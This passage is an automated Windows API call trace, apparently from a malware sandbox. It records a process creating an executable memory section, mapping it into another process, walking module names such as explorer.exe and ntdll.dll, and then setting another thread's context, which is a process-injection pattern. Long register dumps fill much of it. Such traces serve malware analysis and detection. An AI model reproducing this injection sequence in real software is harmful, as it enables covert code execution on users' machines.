SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x27fca8, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0xfffd9000, SegCs=0x7ff, EFlags=0xffb8b790, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x90, [45]=0xb7, [46]=0xb8, [47]=0xff, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0038.906] NtCreateSection (in: SectionHandle=0x18e3bc, DesiredAccess=0xf001f, ObjectAttributes=0x18e380*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x18e398, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x18e3bc*=0x114) returned 0x0 [0038.906] NtMapViewOfSection (in: SectionHandle=0x114, ProcessHandle=0xffffffff, BaseAddress=0x18e3a4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x18e350*=0, ViewSize=0x18e358*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x18e3a4*=0x2d20000, SectionOffset=0x18e350*=0, ViewSize=0x18e358*=0x136000) returned 0x0 [0038.907] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0038.919] NtMapViewOfSection (in: SectionHandle=0x114, ProcessHandle=0x10c, BaseAddress=0x18e3e8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x18e3a0*=0, ViewSize=0x18e3a8*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x18e3e8*=0x2000000, SectionOffset=0x18e3a0*=0, ViewSize=0x18e3a8*=0x136000) returned 0x0 [0038.920] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0038.920] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0038.921] GetProcAddress (hModule=0x77340000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x773620dc [0038.921] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x10c, ProcessInformationClass=0x0, ProcessInformation64=0x18e2b4, ProcessInformationLength=0x30, ReturnLength=0x18e308 | out: ProcessInformation64=0x18e2b4, ReturnLength=0x18e308) returned 0x0 [0038.921] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x200) returned 0x2938a58 [0038.921] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x100) returned 0x2938820 [0038.923] StrRChrA (lpStart="C:\\Windows\\explorer.exe", lpEnd=0x0, wMatch=0x5c) returned="\\explorer.exe" [0038.923] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\system32\\kernel32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\kernel32.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\system32\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\system32\\ADVAPI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ADVAPI32.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\system32\\msvcrt.dll", lpEnd=0x0, wMatch=0x5c) returned="\\msvcrt.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\system32\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) returned="\\RPCRT4.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\system32\\GDI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\GDI32.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\system32\\USER32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USER32.dll" [0038.923] StrRChrA (lpStart="C:\\Windows\\system32\\LPK.dll", lpEnd=0x0, wMatch=0x5c) returned="\\LPK.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\USP10.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USP10.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\SHLWAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHLWAPI.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\SHELL32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHELL32.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\ole32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ole32.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\OLEAUT32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\OLEAUT32.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\EXPLORERFRAME.dll", lpEnd=0x0, wMatch=0x5c) returned="\\EXPLORERFRAME.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\DUser.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUser.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\DUI70.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUI70.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\IMM32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\IMM32.dll" [0038.924] StrRChrA (lpStart="C:\\Windows\\system32\\MSCTF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\MSCTF.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\UxTheme.dll", lpEnd=0x0, wMatch=0x5c) returned="\\UxTheme.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\POWRPROF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\POWRPROF.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\SETUPAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SETUPAPI.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\CFGMGR32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CFGMGR32.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\DEVOBJ.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DEVOBJ.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\dwmapi.dll", lpEnd=0x0, wMatch=0x5c) returned="\\dwmapi.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\slc.dll", lpEnd=0x0, wMatch=0x5c) returned="\\slc.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll", lpEnd=0x0, wMatch=0x5c) returned="\\gdiplus.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\Secur32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\Secur32.dll" [0038.925] StrRChrA (lpStart="C:\\Windows\\system32\\SSPICLI.DLL", lpEnd=0x0, wMatch=0x5c) returned="\\SSPICLI.DLL" [0038.926] StrRChrA (lpStart="C:\\Windows\\system32\\PROPSYS.dll", lpEnd=0x0, wMatch=0x5c) returned="\\PROPSYS.dll" [0038.926] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0038.926] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0038.926] lstrcmpiA (lpString1="explorer.exe", lpString2="NTDLL.DLL") returned -1 [0038.926] StrChrA (lpStart="explorer.exe", wMatch=0x2e) returned=".exe" [0038.926] lstrcmpiA (lpString1="explorer", lpString2="NTDLL.DLL") returned -1 [0038.926] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0038.926] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.926] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9000, flAllocationType=0x3000, flProtect=0x4) returned 0x2e60000 [0038.990] StrRChrA (lpStart="C:\\Windows\\explorer.exe", lpEnd=0x0, wMatch=0x5c) returned="\\explorer.exe" [0038.990] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\system32\\kernel32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\kernel32.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\system32\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\system32\\ADVAPI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ADVAPI32.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\system32\\msvcrt.dll", lpEnd=0x0, wMatch=0x5c) returned="\\msvcrt.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\system32\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) returned="\\RPCRT4.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\system32\\GDI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\GDI32.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\system32\\USER32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USER32.dll" [0038.990] StrRChrA (lpStart="C:\\Windows\\system32\\LPK.dll", lpEnd=0x0, wMatch=0x5c) returned="\\LPK.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\USP10.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USP10.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\SHLWAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHLWAPI.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\SHELL32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHELL32.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\ole32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ole32.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\OLEAUT32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\OLEAUT32.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\EXPLORERFRAME.dll", lpEnd=0x0, wMatch=0x5c) returned="\\EXPLORERFRAME.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\DUser.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUser.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\DUI70.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUI70.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\IMM32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\IMM32.dll" [0038.991] StrRChrA (lpStart="C:\\Windows\\system32\\MSCTF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\MSCTF.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\UxTheme.dll", lpEnd=0x0, wMatch=0x5c) returned="\\UxTheme.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\POWRPROF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\POWRPROF.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\SETUPAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SETUPAPI.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\CFGMGR32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CFGMGR32.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\DEVOBJ.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DEVOBJ.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\dwmapi.dll", lpEnd=0x0, wMatch=0x5c) returned="\\dwmapi.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\slc.dll", lpEnd=0x0, wMatch=0x5c) returned="\\slc.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll", lpEnd=0x0, wMatch=0x5c) returned="\\gdiplus.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\Secur32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\Secur32.dll" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\SSPICLI.DLL", lpEnd=0x0, wMatch=0x5c) returned="\\SSPICLI.DLL" [0038.992] StrRChrA (lpStart="C:\\Windows\\system32\\PROPSYS.dll", lpEnd=0x0, wMatch=0x5c) returned="\\PROPSYS.dll" [0038.992] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0038.993] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0038.993] lstrcmpiA (lpString1="explorer.exe", lpString2="NTDLL.DLL") returned -1 [0038.993] StrChrA (lpStart="explorer.exe", wMatch=0x2e) returned=".exe" [0038.993] lstrcmpiA (lpString1="explorer", lpString2="NTDLL.DLL") returned -1 [0038.993] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0038.993] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.993] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9000, flAllocationType=0x3000, flProtect=0x4) returned 0x2e60000 [0039.046] StrRChrA (lpStart="C:\\Windows\\explorer.exe", lpEnd=0x0, wMatch=0x5c) returned="\\explorer.exe" [0039.046] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0039.046] StrRChrA (lpStart="C:\\Windows\\system32\\kernel32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\kernel32.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\ADVAPI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ADVAPI32.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\msvcrt.dll", lpEnd=0x0, wMatch=0x5c) returned="\\msvcrt.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) returned="\\RPCRT4.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\GDI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\GDI32.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\USER32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USER32.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\LPK.dll", lpEnd=0x0, wMatch=0x5c) returned="\\LPK.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\USP10.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USP10.dll" [0039.047] StrRChrA (lpStart="C:\\Windows\\system32\\SHLWAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHLWAPI.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\SHELL32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHELL32.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\ole32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ole32.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\OLEAUT32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\OLEAUT32.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\EXPLORERFRAME.dll", lpEnd=0x0, wMatch=0x5c) returned="\\EXPLORERFRAME.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\DUser.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUser.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\DUI70.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUI70.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\IMM32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\IMM32.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\MSCTF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\MSCTF.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\UxTheme.dll", lpEnd=0x0, wMatch=0x5c) returned="\\UxTheme.dll" [0039.048] StrRChrA (lpStart="C:\\Windows\\system32\\POWRPROF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\POWRPROF.dll" [0039.049] StrRChrA (lpStart="C:\\Windows\\system32\\SETUPAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SETUPAPI.dll" [0039.049] StrRChrA (lpStart="C:\\Windows\\system32\\CFGMGR32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CFGMGR32.dll" [0039.049] StrRChrA (lpStart="C:\\Windows\\system32\\DEVOBJ.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DEVOBJ.dll" [0039.049] StrRChrA (lpStart="C:\\Windows\\system32\\dwmapi.dll", lpEnd=0x0, wMatch=0x5c) returned="\\dwmapi.dll" [0039.049] StrRChrA (lpStart="C:\\Windows\\system32\\slc.dll", lpEnd=0x0, wMatch=0x5c) returned="\\slc.dll" [0039.049] StrRChrA (lpStart="C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll", lpEnd=0x0, wMatch=0x5c) returned="\\gdiplus.dll" [0039.049] StrRChrA (lpStart="C:\\Windows\\system32\\Secur32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\Secur32.dll" [0039.049] StrRChrA (lpStart="C:\\Windows\\system32\\SSPICLI.DLL", lpEnd=0x0, wMatch=0x5c) returned="\\SSPICLI.DLL" [0039.049] StrRChrA (lpStart="C:\\Windows\\system32\\PROPSYS.dll", lpEnd=0x0, wMatch=0x5c) returned="\\PROPSYS.dll" [0039.049] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0039.049] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0039.049] lstrcmpiA (lpString1="explorer.exe", lpString2="NTDLL.DLL") returned -1 [0039.049] StrChrA (lpStart="explorer.exe", wMatch=0x2e) returned=".exe" [0039.049] lstrcmpiA (lpString1="explorer", lpString2="NTDLL.DLL") returned -1 [0039.050] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0039.050] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0039.050] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9000, flAllocationType=0x3000, flProtect=0x4) returned 0x2e60000 [0039.117] NtSetContextThread (ThreadHandle=0x104, Context=0x18deb0*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x100003, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x2c, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x90, [74]=0xfd, [75]=0xff, [76]=0xff, [77]=0x7, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0xffb8b790, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x27fca8, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0xfffd9000, SegCs=0x7ff, EFlags=0xffb8b790, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, 